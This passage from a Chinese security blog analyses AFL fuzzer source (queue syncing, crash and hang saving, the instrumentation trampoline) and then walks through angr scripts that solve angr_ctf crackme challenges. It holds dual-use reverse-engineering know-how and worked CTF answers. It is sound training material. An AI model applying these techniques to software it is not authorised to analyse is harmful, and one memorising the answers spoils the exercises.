queue_cur->was_fuzzed 为 1,然后 pending_not_fuzzed 计数器减一\n如果 queue_cur 是 favored , pending_favored 计数器减一。\n\nsync_fuzzers读取其他 sync 文件夹下的 queue 文件,然后保存到自己的 queue 里。\n\n打开 sync_dir 文件夹\nwhile循环读取该文件夹下的目录和文件 while ((sd_ent = readdir(sd)))\n跳过.开头的文件和 sync_id 即我们自己的输出文件夹\n读取 out_dir/.synced/sd_ent->d_name 文件即 id_fd 里的前4个字节到 min_accept 里,设置 next_min_accept 为 min_accept ,这个值代表之前从这个文件夹里读取到的最后一个queue的id。\n设置 stage_name 为 sprintf(stage_tmp, "sync %u", ++sync_cnt); ,设置 stage_cur 为 0,stage_max 为 0\n循环读取 sync_dir/sd_ent->d_name/queue 文件夹里的目录和文件\n同样跳过 . 开头的文件和标识小于 min_accept 的文件,因为这些文件应该已经被 sync 过了。\n如果标识 syncing_case 大于等于 next_min_accept ,就设置 next_min_accept 为 syncing_case + 1\n开始同步这个 case\n如果 case 大小为 0 或者大于 MAX_FILE (默认是1M),就不进行 sync。\n否则 mmap 这个文件到内存内存里,然后 write_to_testcase(mem, st.st_size) ,并 run_target ,然后通过 save_if_interesting 来决定是否要导入这个文件到自己的 queue 里,如果发现了新的 path,就导入。\n设置 syncing_party 的值为sd_ent->d_name\n如果 save_if_interesting 返回 1,queued_imported 计数器就加 1\n\n\n\n\nstage_cur 计数器加一,如果 stage_cur 是 stats_update_freq 的倍数,就刷新一次展示界面。\n\n\n向id_fd写入当前的 next_min_accept 值\n\n\n\n总结来说,这个函数就是先读取有哪些 fuzzer 文件夹,然后读取其他 fuzzer 文件夹下的 queue 文件夹里的 case,并依次执行,如果发现了新 path,就保存到自己的 queue 文件夹里,而且将最后一个 sync 的 case id 写入到 .synced/其他fuzzer文件夹名 文件里,以避免重复运行。\ncommon_fuzz_stuff因为 fuzz_one 部分过于庞大,而这个函数又不是那么特殊,因此把它拉出来做一个简短的说明。\n\n若有 post_handler ,那么就对样例调用 post_handler\n将样例写入文件,然后 run_target 执行\n如果执行结果是超时则做如下操作:\n\nif (fault == FAULT_TMOUT) { if (subseq_tmouts++ > TMOUT_LIMIT) { cur_skipped_paths++; return 1; }} else subseq_tmouts = 0;\n\n\n如果发现了新路径,那么保存并增加 queued_discovered 计数器\n更新页面 show_stats\n\nEXP_ST u8 common_fuzz_stuff(char** argv, u8* out_buf, u32 len) { u8 fault; if (post_handler) { out_buf = post_handler(out_buf, &len); if (!out_buf !len) return 0; } write_to_testcase(out_buf, len); fault = run_target(argv, exec_tmout); if (stop_soon) return 1; if (fault == FAULT_TMOUT) { if (subseq_tmouts++ > TMOUT_LIMIT) { cur_skipped_paths++; return 1; } } else subseq_tmouts = 0; /* Users can hit us with SIGUSR1 to request the current input to be abandoned. */ if (skip_requested) { skip_requested = 0; cur_skipped_paths++; return 1; } /* This handles FAULT_ERROR for us: */ queued_discovered += save_if_interesting(argv, out_buf, len, fault); if (!(stage_cur % stats_update_freq) stage_cur + 1 == stage_max) show_stats(); return 0;}\n\nsave_if_interesting执行结果是否发现了新路径,决定是否保存或跳过。如果保存了这个 case,则返回 1,否则返回 0。\n\n如果没有新的路径发现或者路径命中次数相同,就直接返回0\n将 case 保存到 fn = alloc_printf("%s/queue/id:%06u,%s", out_dir, queued_paths, describe_op(hnb)) 文件里\n将新样本加入队列 add_to_queue\n如果 hnb 的值是2,代表发现了新路径,设置刚刚加入到队列里的 queue 的 has_new_cov 字段为 1,即 queue_top->has_new_cov = 1 ,然后 queued_with_cov 计数器加一\n保存hash到其exec_cksum\n评估这个queue,calibrate_case(argv, queue_top, mem, queue_cycle - 1, 0)\n根据fault结果进入不同的分支\n若是出现错误,则直接抛出异常\n若是崩溃\ntotal_crashes计数器加一\n如果unique_crashes大于能保存的最大数量KEEP_UNIQUE_CRASH即5000,就直接返回keeping的值\n如果不是dumb mode,就simplify_trace((u64 *) trace_bits)进行规整\n没有发现新的crash路径,就直接返回\n否则,代表发现了新的crash路径,unique_crashes计数器加一,并将结果保存到alloc_printf("%s/crashes/id:%06llu,sig:%02u,%s", out_dir,unique_crashes, kill_signal, describe_op(0))文件。\n更新last_crash_time和last_crash_execs\n\n\n若是超时\ntotal_tmouts 计数器加一\n如果 unique_hangs 的个数超过能保存的最大数量 KEEP_UNIQUE_HANG 则返回\n若不是 dumb mode,就 simplify_trace((u64 *) trace_bits) 进行规整。\n没有发现新的超时路径,就直接返回\n否则,代表发现了新的超时路径,unique_tmouts 计数器加一\n若 hang_tmout 大于 exec_tmout ,则以 hang_tmout 为timeout,重新执行一次 runt_target\n若出现崩溃,就跳转到 keep_as_crash\n若没有超时则直接返回\n否则就使 unique_hangs 计数器加一,更新 last_hang_time 的值,并保存到alloc_printf("%s/hangs/id:%06llu,%s", out_dir, unique_hangs, describe_op(0))文件。\n\n\n\n\n若是其他情况,则直接返回\n\n\n\n插桩与路径发现的记录其实插桩已经叙述过一部分了,在上文中的 fork server 部分,笔者就介绍过该机制就是通过插桩实现的。\n但还有一部分内容没有涉及,新路径是如何在发现的同时被通知给 fuzzer 的?\n在插桩阶段,我们为每个分支跳转都添加了一小段代码,这里笔者以 64 位的情况进行说明:\nstatic const u8* trampoline_fmt_64 = "\\n" "/* --- AFL TRAMPOLINE (64-BIT) --- */\\n" "\\n" ".align 4\\n" "\\n" "leaq -(128+24)(%%rsp), %%rsp\\n" "movq %%rdx, 0(%%rsp)\\n" "movq %%rcx, 8(%%rsp)\\n" "movq %%rax, 16(%%rsp)\\n" "movq $0x%08x, %%rcx\\n" "call __afl_maybe_log\\n" "movq 16(%%rsp), %%rax\\n" "movq 8(%%rsp), %%rcx\\n" "movq 0(%%rsp), %%rdx\\n" "leaq (128+24)(%%rsp), %%rsp\\n" "\\n" "/* --- END --- */\\n" "\\n";\n\n它首先保存了一部分将要被破坏的寄存器,然后调用了 __afl_maybe_log 来记录路径的发现。该函数同样是由汇编编写的,但我们可以用一些其他工具来反编译它:\nchar __fastcall _afl_maybe_log(__int64 a1, __int64 a2, __int64 a3, __int64 a4){ char v4; // of char v5; // al __int64 v6; // rdx __int64 v7; // rcx char *v9; // rax int v10; // eax void *v11; // rax int v12; // edi __int64 v13; // rax __int64 v14; // rax __int64 v15; // [rsp-10h] [rbp-180h] char v16; // [rsp+10h] [rbp-160h] __int64 v17; // [rsp+18h] [rbp-158h] v5 = v4; v6 = _afl_area_ptr; if ( !_afl_area_ptr ) { if ( _afl_setup_failure ) return v5 + 127; v6 = _afl_global_area_ptr; if ( _afl_global_area_ptr ) { _afl_area_ptr = _afl_global_area_ptr; } else { v16 = v4; v17 = a4; v9 = getenv("__AFL_SHM_ID"); if ( !v9 (v10 = atoi(v9), v11 = shmat(v10, 0LL, 0), v11 == -1LL) ) { ++_afl_setup_failure; v5 = v16; return v5 + 127; } _afl_area_ptr = v11; _afl_global_area_ptr = v11; v15 = v11; if ( write(199, &_afl_temp, 4uLL) == 4 ) { while ( 1 ) { v12 = 198; if ( read(198, &_afl_temp, 4uLL) != 4 ) break; LODWORD(v13) = fork(); if ( v13 < 0 ) break; if ( !v13 ) goto __afl_fork_resume; _afl_fork_pid = v13; write(199, &_afl_fork_pid, 4uLL); v12 = _afl_fork_pid; LODWORD(v14) = waitpid(_afl_fork_pid, &_afl_temp, 0); if ( v14 <= 0 ) break; write(199, &_afl_temp, 4uLL); } _exit(v12); }__afl_fork_resume: close(198); close(199); v6 = v15; v5 = v16; a4 = v17; } } v7 = _afl_prev_loc ^ a4; _afl_prev_loc ^= v7; _afl_prev_loc = _afl_prev_loc >> 1; ++*(v6 + v7); return v5 + 127;}\n\n前面的一大段代码其实都是为了去建立我们在上文所说的“共享内存”,在完成初始化后调用最后这么一小段代码进行记录:\nv7 = _afl_prev_loc ^ a4;_afl_prev_loc ^= v7;_afl_prev_loc = _afl_prev_loc >> 1;++*(v6 + v7);\n\n此处 v6 即为共享内存的地址,而 a4 为 cur_location ,因此 v7=cur_location ^ prev_location ,它将作为索引,使得共享内存中的对应偏移处的值增加。而在 fuzzer 部分就可以通过检查这块内存来发现是否有新路径被得到了。\n另外,_afl_prev_loc = _afl_prev_loc >> 1; 的目的是为了避开 A->A 和 B->B 以及 A->B 和 B->A 被识别为相同路径的情况。\n其他阅读材料\nsakuraのAFL源码全注释https://eternalsakura13.com/2020/08/23/afl/\nfuzzer AFL 源码分析https://tttang.com/user/f1tao\nAFL二三事——源码分析https://paper.seebug.org/1732/#afl-afl-asc\nAFL漏洞挖掘技术漫谈(一):用AFL开始你的第一次Fuzzinghttps://paper.seebug.org/841/\n\n","categories":["Note","漏洞挖掘"],"tags":["漏洞挖掘","AFL","模糊测试"]},{"title":"Angr 使用技巧速通笔记(二)","url":"/2023/04/16/angr-%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7%E9%80%9F%E9%80%9A%E7%AC%94%E8%AE%B0%E4%BA%8C/","content":"前言第一章的时候大概讲了 Angr 的一些基本概念和使用,我思量着应该要弄点实际的东西来练练才能把这个工具用熟捻。\n最经典的使用案例无疑是 angr_ctf 中的那些了:\n\nhttps://github.com/jakespringer/angr_ctf\n\n题目本身都不是很难,甚至大多都是能靠人力完成的工作。但是即便如此,自动化也有自动化的意义对不对。毕竟我们现在需要的不是马上就能用它解决各种难题,而是把简单的问题解决,然后才能开始做复杂问题。\n\n附件使用的是 https://github.com/ZERO-A-ONE/AngrCTF\\_FITM 仓库下编译好的版本。因为原仓库下只有源代码,而且编译还需要另外去配环境,所以这里直接用了这位师傅编译好的附件。\n\n实战一般的基本流程如下:\n\n创建项目:angr.Project(“./binary”)\n创建 state:project.factory.entry_state()\n创建 SM:project.factory.simgr(state)\n探索路径:sim.explore(find=addr)\n给出结果:sim.found\n\n00_angr_find当然还是得从最简单的开始,题目本身是一个直接用 IDA 读就能读明白的简单程序,但出于练习目的,还是得手写一下脚本。\nint __cdecl main(int argc, const char **argv, const char **envp){ int i; // [esp+1Ch] [ebp-1Ch] char v5[9]; // [esp+23h] [ebp-15h] BYREF unsigned int v6; // [esp+2Ch] [ebp-Ch] v6 = __readgsdword(0x14u); printf("Enter the password: "); __isoc99_scanf("%8s", v5); for ( i = 0; i <= 7; ++i ) v5[i] = complex_function(v5[i], i); if ( !strcmp(v5, "JACEJGCS") ) puts("Good Job."); else puts("Try again."); return 0;}\n\n首先需要创建项目:\nimport angrproject=angr.Project("./00_angr_find",auto_load_libs=False)\n\n创建 state:\nstate=project.factory.entry_state()\n\n创建 SM:\nsim=project.factory.simgr(state)\n\n搜索路径:\n探索路径时需要给出需要查找到的路径地址,这里我们通过 IDA 可以确定程序输出 “Good Job.” 时的地址为 0x08048675\nsim.explore(find=0x08048675)\n\n求解结果:\nif sim.found: res=sim.found[0] res=res.posix.dumps(0) print(res)\n\n简单说明一下代码。\n\nsim.found[0] 代表了探索路径时得到的一条可解的路径。\nres.posix.dumps(0) 表示去获取对应路径中,stdin 的内容。\n\n01_angr_avoid程序本身很大,IDA 虽然也有办法反编译,但是速度极慢,但用 Angr 设定好参数就很快了。\n前几个步骤是一样的:\nimport angrproject=angr.Project("./01_angr_avoid",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)\n\n我们不妨试试,如果按照上一题的做法会如何:\nsim.explore(find=0x080485E0)if sim.found: res=sim.found[0] res=res.posix.dumps(0) print(res)\n\n结果会发现等了很久也没有算出结果,因为分支实在太多了。\n因此要对代码做一点改进:\n#080485E0 push offset aGoodJob ; "Good Job."# .text:080485A8 push ebp# .text:080485A9 mov ebp, esp# .text:080485AB mov should_succeed, 0# .text:080485B2 nop# .text:080485B3 pop ebp# .text:080485B4 retnsim.explore(find=0x080485E0,avoid=0x080485A8)\n\n其实只是给 explore 增加了一个 avoid 的参数。当代码模拟执行遇到了该地址时,将会把这段路径放入到 avoided 的一个列表中,用来表示被避开的路径,然后其他照旧,继续执行。\n之所以通过添加这样的操作就能够得到答案,其实很简单,是为了避免路径爆炸而必要的。\n我们可以用这么一个二插树来表示路径:\n\n我们用 1 来表示正确的路径,0 表示错误的路径。可以看见,在这个树中一共有 8 条不同的路径,而正确的路径只有一个。\n假设所有涉及到 0 的路径都会进入到某个地址 x 处。那么如果没有使用 avoid 参数,Angr 就会遍历这 8 条路径,然后求解出最左的那条路径所需的输入。\n而如果我们添加了 avoid=x ,那么当 Angr 从根节点进入到右子树时,由于接下来立刻进入到 x 地址处,因此停止分析这条路径,将其加入到 avoided 中,从而将下面的 4 条路径全都舍弃,将所需的时间直接减少了一半。\n同理,当它进入左子树时,仍然存在分叉,而进入右子树的分叉会因为相同的原因被舍弃,从而再次减少一半的时间。\n在路径极其庞大的情况下,比如说 2^31 条路径,通过这种方法能够极大程度降低消耗。\n02_angr_find_conditionint __cdecl main(int argc, const char **argv, const char **envp){ int i; // [esp+18h] [ebp-40h] int j; // [esp+1Ch] [ebp-3Ch] char v6[20]; // [esp+24h] [ebp-34h] BYREF char v7[20]; // [esp+38h] [ebp-20h] BYREF unsigned int v8; // [esp+4Ch] [ebp-Ch] v8 = __readgsdword(0x14u); for ( i = 0; i <= 19; ++i ) v7[i] = 0; qmemcpy(v7, "VXRRJEUR", 8); printf("Enter the password: "); __isoc99_scanf("%8s", v6); for ( j = 0; j <= 7; ++j ) v6[j] = complex_function(v6[j], j + 8); if ( !strcmp(v6, v7) ) puts("Good Job."); else puts("Try again."); return 0;}\n\n还是这个模板:\nimport angrproject=angr.Project("./02_angr_find_condition",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)\n\n这题的情况和 00_angr_find 有些不太一样。尽管 IDA 将它们反编译后的结果看起来很像,但是在汇编中却有很大差别:\n\n可以看见,这行输出在 main 函数里到处都是,所以其实很难找到真正的那条路径的地址。\n同理的,“Try again.” 也一样,因此需要修改 find 参数:\ndef succ(state): res=state.posix.dumps(1) if b"Good Job." in res: return True else: return Falsesim.explore(find=succ)\n\n可以发现,find 参数除了能是一个具体的地址外,还可以是一个函数。该函数返回 True 时会将路径记录下来,返回 False 时则表示路径并非我们想找的。\n而区别路径的关键在于 state.posix.dumps(1) ,通过该方法,可以将 stdout 中的内容 dump 出来进行比较。如果输出包含了 Good Job. ,我们就认为是想要的路径。这样就能避开直接使用地址了。\n当然了,avoid 也可以这么用,读者可以自行试试。\n03_angr_simbolic_registersint __cdecl main(int argc, const char **argv, const char **envp){ int v3; // ebx int v4; // eax int v5; // edx int v6; // ST1C_4 unsigned int v7; // ST14_4 unsigned int v9; // [esp+8h] [ebp-10h] unsigned int v10; // [esp+Ch] [ebp-Ch] printf("Enter the password: "); v4 = get_user_input(); v6 = v5; v7 = complex_function_1(v4); v9 = complex_function_2(v3); v10 = complex_function_3(v6); if ( v7 v9 v10 ) puts("Try again."); else puts("Good Job."); return 0;}\n\n还是老三样:\nimport angrproject=angr.Project("./03_angr_symbolic_registers",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)\n\n有些特殊的地方是,输入使用 get_user_input ,而该函数如下:\nint get_user_input(){ int v1; // [esp+0h] [ebp-18h] int v2; // [esp+4h] [ebp-14h] int v3; // [esp+8h] [ebp-10h] unsigned int v4; // [esp+Ch] [ebp-Ch] v4 = __readgsdword(0x14u); __isoc99_scanf("%x %x %x", &v1, &v2, &v3); return v1;}\n\n前文曾提到过,Angr 对 scanf 这类使用格式化字符串的函数支持并不是很好,不过或许是最近的版本更新,直接这样写也同样能得到结果了:\nsim.explore(find=0x80489E9)if sim.found: res=sim.found[0] res=res.posix.dumps(0) print(res)# b'b9ffd04e ccf63fe8 8fd4d959'else: print("No")\n\n不过既然是学习,还是照例看看最标准的写法应该是什么吧。\n根据汇编可以看到,该函数的实际操作是将值储存在寄存器中:\n.text:0804891E lea ecx, [ebp+var_10].text:08048921 push ecx.text:08048922 lea ecx, [ebp+var_14].text:08048925 push ecx.text:08048926 lea ecx, [ebp+var_18].text:08048929 push ecx.text:0804892A push offset aXXX ; "%x %x %x".text:0804892F call ___isoc99_scanf.text:08048934 add esp, 10h.text:08048937 mov ecx, [ebp+var_18].text:0804893A mov eax, ecx.text:0804893C mov ecx, [ebp+var_14].text:0804893F mov ebx, ecx.text:08048941 mov ecx, [ebp+var_10].text:08048944 mov edx, ecx\n\n因此我们可以直接将该函数钩取,然后手动设置寄存器的值:\nimport angrproject=angr.Project("./03_angr_symbolic_registers",auto_load_libs=False)state=project.factory.blank_state(addr=0x08048980)\n\n由于现在我们再从 entry_point 进入了,而需要跳过 get_user_input 函数,因此使用 blank_state 来初始化状态,并将开始地址设定在该函数之后的第一条指令处。\n接下来创建三个位置的符号向量,将他们设定为寄存器:\nimport claripyinput1=claripy.BVS("input1",32)input2=claripy.BVS("input2",32)input3=claripy.BVS("input3",32)state.regs.eax=input1state.regs.ebx=input2state.regs.edx=input3sim=project.factory.simgr(state)sim.explore(find=0x80489E9)\n\n此处引入另外一个 claripy 包来创建符号向量: claripy.BVS(name,size) 。创建完成后即可生成 SM 并开始探索了。\n完成探索后,最后需要求解符号向量的值:\nif sim.found: res=sim.found[0] res1=res.solver.eval(input1) res2=res.solver.eval(input2) res3=res.solver.eval(input3) print(hex(res1)+" "+hex(res2)+" "+hex(res3))#0xb9ffd04e 0xccf63fe8 0x8fd4d959else: print("No")\n\n04_angr_symbolic_stackint handle_user(){ int v1; // [esp+8h] [ebp-10h] BYREF int v2[3]; // [esp+Ch] [ebp-Ch] BYREF __isoc99_scanf("%u %u", v2, &v1); v2[0] = complex_function0(v2[0]); v1 = complex_function1(v1); if ( v2[0] == 1999643857 && v1 == -1136455217 ) return puts("Good Job."); else return puts("Try again.");}\n\n到这一步其实就差不多轻车熟路一把梭搞定了:\nimport angrproject=angr.Project("./04_angr_symbolic_stack",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)sim.explore(find=0x080486E4)if sim.found: res=sim.found[0] res=res.posix.dumps(0) print(res)#b'1704280884 2382341151'\n\n不过这道题实际上和上一题类似,但输入值储存在栈中,因此标准做法其实是将内存符号化进行求解:\nimport angrproject=angr.Project("./04_angr_symbolic_stack",auto_load_libs=False)state=project.factory.blank_state(addr=0x08048694)import claripyinput1=claripy.BVS("input1",32)input2=claripy.BVS("input2",32)state.regs.ebp=state.regs.espstate.regs.esp-=0x1cstate.memory.store(state.regs.ebp-0xc,input1)state.memory.store(state.regs.ebp-0x10,input2)sim=project.factory.simgr(state)sim.explore(find=0x080486E4)if sim.found: res=sim.found[0] res=res.solver.eval(input1) print(res) res=sim.found[0] res=res.solver.eval(input2) print(res)\n\n通过 state.memory.store(addr,value) 可以对内存进行符号化,从而在路径发现以后进行求解。\n05_angr_symbolic_memoryint __cdecl main(int argc, const char **argv, const char **envp){ int i; // [esp+Ch] [ebp-Ch] memset(&user_input, 0, 33); printf("Enter the password: "); __isoc99_scanf("%8s %8s %8s %8s", &user_input, &unk_A1BA1C8, &unk_A1BA1D0, &unk_A1BA1D8); for ( i = 0; i <= 31; ++i ) *(i + 169583040) = complex_function(*(i + 169583040), i); if ( !strncmp(&user_input, "NJPURZPCDYEAXCSJZJMPSOMBFDDLHBVN", 32) ) puts("Good Job."); else puts("Try again."); return 0;}\n\n这道题同样因为现在的 Angr 功能强大而不需要以前那样复杂的技巧了:\nimport angrproject=angr.Project("./05_angr_symbolic_memory",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)sim.explore(find=0x0804866D)if sim.found: res=sim.found[0] print(res.posix.dumps(0))#b'NAXTHGNR JVSFTPWE LMGAUHWC XMDCPALU'\n\n而题目的本意是让我们将内存符号化,其实和上一题一样,直接对内存进行存储就行了:\nimport angrproject=angr.Project("./05_angr_symbolic_memory",auto_load_libs=False)state=project.factory.blank_state(addr=0x080485FE)import claripypwd1=claripy.BVS("pwd1",64)pwd2=claripy.BVS("pwd2",64)pwd3=claripy.BVS("pwd3",64)pwd4=claripy.BVS("pwd4",64)state.memory.store(0x0A1BA1C0,pwd1)state.memory.store(0x0A1BA1C0+8,pwd2)state.memory.store(0x0A1BA1C0+8+8,pwd3)state.memory.store(0x0A1BA1C0+8+8+8,pwd4)sim=project.factory.simgr(state)sim.explore(find=0x0804866D)if sim.found: res=sim.found[0] print(res.solver.eval(pwd1)) print(res.solver.eval(pwd2)) print(res.solver.eval(pwd3)) print(res.solver.eval(pwd4))\n\n06_angr_symbolic_dynamic_memoryint __cdecl main(int argc, const char **argv, const char **envp){ _BYTE *v3; // ebx _BYTE *v4; // ebx int v6; // [esp-18h] [ebp-24h] int v7; // [esp-14h] [ebp-20h] int v8; // [esp-10h] [ebp-1Ch] int v9; // [esp-8h] [ebp-14h] int v10; // [esp-4h] [ebp-10h] int v11; // [esp+0h] [ebp-Ch] int i; // [esp+0h] [ebp-Ch] buffer0 = malloc(9, v6, v7, v8); buffer1 = malloc(9, v9, v10, v11); memset(buffer0, 0, 9); memset(buffer1, 0, 9); printf("Enter the password: "); __isoc99_scanf("%8s %8s", buffer0, buffer1); for ( i = 0; i <= 7; ++i ) { v3 = (_BYTE *)(buffer0 + i); *v3 = complex_function(*(char *)(buffer0 + i), i); v4 = (_BYTE *)(buffer1 + i); *v4 = complex_function(*(char *)(buffer1 + i), i + 32); } if ( !strncmp(buffer0, "UODXLZBI", 8) && !strncmp(buffer1, "UAORRAYF", 8) ) puts("Good Job."); else puts("Try again."); free(buffer0); free(buffer1); return 0;}\n\n和上一题不同的地方在于,这次的存储位置为堆内存,我们不能直接给出一个地址然后去存储。\n一把梭还是可行的:\nimport angrproject=angr.Project("./06_angr_symbolic_dynamic_memory",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)sim.explore(find=0x08048759)if sim.found: res=sim.found[0] print(res.posix.dumps(0))\n\n而标准做法是:\nimport angrproject=angr.Project("./06_angr_symbolic_dynamic_memory",auto_load_libs=False)state=project.factory.blank_state(addr=0x08048699)buff0=0x0ABCC8A4buff1=0x0ABCC8ACimport claripypwd1=claripy.BVS("pwd1",64)pwd2=claripy.BVS("pwd2",64)state.memory.store(buff0,0xffffff00,endness=project.arch.memory_endness)state.memory.store(buff1,0xffffff80,endness=project.arch.memory_endness)state.memory.store(0xffffff00,pwd1)state.memory.store(0xffffff80,pwd2)sim=project.factory.simgr(state)sim.explore(find=0x08048759)if sim.found: res=sim.found[0] print(res.solver.eval(pwd1)) print(res.solver.eval(pwd2))\n\n通过这题就能够理解符号执行的一个好处了。由于它并不是真的去执行,只是模拟执行代码而已,所以对地址本身没有限制,完全可以随意设定内存的使用方法。\n另外 endness 参数用于指定储存的端序,而 project.arch.memory_endness 将会反映程序所在平台的默认端序,此处为小端序。\n07_angr_symbolic_fileint __cdecl main(int argc, const char **argv, const char **envp){ int result; // eax int i; // [esp+Ch] [ebp-Ch] memset(&buffer, 0, 64); printf("Enter the password: "); __isoc99_scanf("%64s", &buffer); ignore_me(&buffer, 64); memset(&buffer, 0, 64); fp = fopen("OJKSQYDP.txt", "rb"); fread(&buffer, 1, 64, fp); fclose(fp); unlink("OJKSQYDP.txt"); for ( i = 0; i <= 7; ++i ) *(_BYTE *)(i + 134520992) = complex_function(*(char *)(i + 134520992), i); if ( strncmp(&buffer, "AQWLCTXB", 9) ) { puts("Try again."); exit(1); } puts("Good Job."); exit(0); _libc_csu_init(); return result;}\n\n可以发现程序调用了 fopen 去打开文件,对于这种情况,Angr 也同样提供了模拟文件的系统。\n同样的,照旧一把梭也能搞定:\nimport angrproject=angr.Project("./07_angr_symbolic_file",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)sim.explore(find=0x080489B0)if sim.found: res=sim.found[0] print(res.posix.dumps(0))#b'AZOMMMZM\\x00@\\x04\\x00\\x01\\x01\\x01\\x01\\x01\\x00\\x00\\x00\\x02\\x00\\x01\\x00\\x80\\x04\\x80\\x00\\x02\\x01\\x04\\x00\\x02\\x80\\x08\\x01\\x00\\x02\\x01\\x01\\x01@\\x01\\x00\\x08\\x08\\x04\\x80\\x04\\x01\\x80\\x01\\x04\\x80\\x02\\x00\\x00@\\x00\\x00\\x00\\x00\\x00\\x00'\n\n不过还是来看看它的模拟文件系统吧:\nimport angrimport claripyproject=angr.Project("./07_angr_symbolic_file",auto_load_libs=False)state=project.factory.blank_state(addr=0x080488EA)filename = 'OJKSQYDP.txt'pwd1=claripy.BVS("pwd1",64*8)pwdfile=angr.storage.SimFile(filename,content=pwd1,size=64)state.fs.insert(filename,pwdfile)sim=project.factory.simgr(state)sim.explore(find=0x080489B0)if sim.found: res=sim.found[0] print(hex(res.solver.eval(pwd1)))#0x415a4f4d4d4d5a4d0000000000000000000000000002000020000000000200000000000000008000000000401002000000000000000000000004001000000000\n\n前几个还是照旧,但是也有一些新东西:\npwdfile=angr.storage.SimFile(filename,content=pwd1,size=64)state.fs.insert(filename,pwdfile)\n\nangr.storage.SimFile 提供了一个模拟文件系统,通过 state.fs.insert 可以将该模拟出来的文件插入到 state 符号中。这样在模拟执行时就会用该文件替代真实情况下的文件了。\n而 angr.storage.SimFile 的 filename 参数表示文件名,content 参数表示文件内容,size 参数表示文件大小,单位为字节。\n08_angr_constraintsint __cdecl main(int argc, const char **argv, const char **envp){ int i; // [esp+Ch] [ebp-Ch] qmemcpy(&password, "AUPDNNPROEZRJWKB", 16); memset(&buffer, 0, 17); printf("Enter the password: "); __isoc99_scanf("%16s", &buffer); for ( i = 0; i <= 15; ++i ) *(i + 134520912) = complex_function(*(i + 134520912), 15 - i); if ( check_equals_AUPDNNPROEZRJWKB(&buffer, 16) ) puts("Good Job."); else puts("Try again."); return 0;}\n\nBOOL __cdecl check_equals_AUPDNNPROEZRJWKB(int a1, unsigned int a2){ int v3; // [esp+8h] [ebp-8h] unsigned int i; // [esp+Ch] [ebp-4h] v3 = 0; for ( i = 0; i < a2; ++i ) { if ( *(i + a1) == *(i + 134520896) ) ++v3; } return v3 == a2;}\n\n在这里就能遇到之前所说的 “路径爆炸” 问题了。\n照例试试一把梭:\nimport angrproject=angr.Project("./08_angr_constraints",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)sim.explore(find=0x08048694)if sim.found: print("yes")\n\n会发现这次就没办法那么顺利得到答案了,Angr 求解了半天却一直没有给出 “yes” 的回答,因此这次我们必须手动去优化求解的过程。\n分析 check_equals_AUPDNNPROEZRJWKB 函数可以发现,该函数实际上是在对输入和 password 对比,而 password 的值是固定的 AUPDNNPROEZRJWKB 。\n因此第一种缓解路径爆炸的方法是,只需要探索到进入该路径即可。而此后的求解过程通过人为的方法手动增加。\n首先还是创建状态,这里我们跳过了 scanf :\nimport angrproject=angr.Project("./08_angr_constraints",auto_load_libs=False)state=project.factory.blank_state(addr=0x08048625)\n\n接下来我们为 buffer 创建符号,并开始探索:\nimport claripypwd=claripy.BVS("pwd",16*8)state.memory.store(0x0804A050,pwd)sim=project.factory.simgr(state)sim.explore(find=0x08048565)\n\n此处地址 0x08048565 对应了 check_equals_AUPDNNPROEZRJWKB 函数的第一行指令。这样就不必进入到会引发路径爆炸的循环中了。\n最后,在找到路径以后,为求解器主动添加条件:\nif sim.found: res=sim.found[0] now_str=state.memory.load(0x0804A050,16) res.solver.add("AUPDNNPROEZRJWKB"==now_str) print(res.solver.eval(pwd)) \n\n我们需要保证的是,在进入 check_equals_AUPDNNPROEZRJWKB 函数时,buffer 处的内容和字符串 AUPDNNPROEZRJWKB 相同,因此直接添加条件即可求解。\n09_angr_hooksint __cdecl main(int argc, const char **argv, const char **envp){ BOOL v3; // eax int i; // [esp+8h] [ebp-10h] int j; // [esp+Ch] [ebp-Ch] qmemcpy(&password, "XYMKBKUHNIQYNQXE", 16); memset(&buffer, 0, 17); printf("Enter the password: "); __isoc99_scanf("%16s", &buffer); for ( i = 0; i <= 15; ++i ) *(_BYTE *)(i + 134520916) = complex_function(*(char *)(i + 134520916), 18 - i); equals = check_equals_XYMKBKUHNIQYNQXE(&buffer, 16); for ( j = 0; j <= 15; ++j ) *(_BYTE *)(j + 134520900) = complex_function(*(char *)(j + 134520900), j + 9); __isoc99_scanf("%16s", &buffer); v3 = equals && !strncmp(&buffer, &password, 16); equals = v3; if ( v3 ) puts("Good Job."); else puts("Try again."); return 0;}\n\n而上一题的操作总归来说是解一时之急,因为函数正好在最后的位置,所以停在那边就足够了。但是如果路径爆炸发生在中途,就不能这么做了,我们需要更好的方法解决它。\n首先是路径爆炸会发生在 check_equals_XYMKBKUHNIQYNQXE 函数中,它和上一题的函数是一样的。\n前几个还是一样:\nimport angrimport claripyproject=angr.Project("./09_angr_hooks",auto_load_libs=False)state=project.factory.entry_state()\n\n接下来是对该函数进行钩取:\n@project.hook(0x080486B3, length=5)def skip_check(state): compare_str="XYMKBKUHNIQYNQXE" now_str=state.memory.load(0x0804A054,16) state.regs.eax=claripy.If(compare_str==now_str,claripy.BVV(1, 32),claripy.BVV(0, 32))\n\n钩取方法可以通过 @project.hook 宏完成。第一个参数为对应的机器码地址,第二个参数为钩取的指令长度。此处因为我们只需要钩取 call 指令,因此长度为 5。\n而钩子下面对应的需要定义钩子函数,此处我们将 buffer 的内容读取出来进行比较,并根据结果使用 claripy.If 来设置 eax 寄存器。\n最后探索路径即可:\nsim=project.factory.simgr(state)sim.explore(find=0x08048768)if sim.found: res=sim.found[0] print(res.posix.dumps(0))\n\n此方法为第二个缓解路径爆炸的方法,即直接对地址进行钩取。\n10_angr_simproceduresint __cdecl main(int argc, const char **argv, const char **envp){ int i; // [esp+20h] [ebp-28h] char v5[17]; // [esp+2Bh] [ebp-1Dh] BYREF unsigned int v6; // [esp+3Ch] [ebp-Ch] v6 = __readgsdword(0x14u); memcpy(&password, "ORSDDWXHZURJRBDH", 16); memset(v5, 0, sizeof(v5)); printf("Enter the password: "); __isoc99_scanf("%16s", v5); for ( i = 0; i 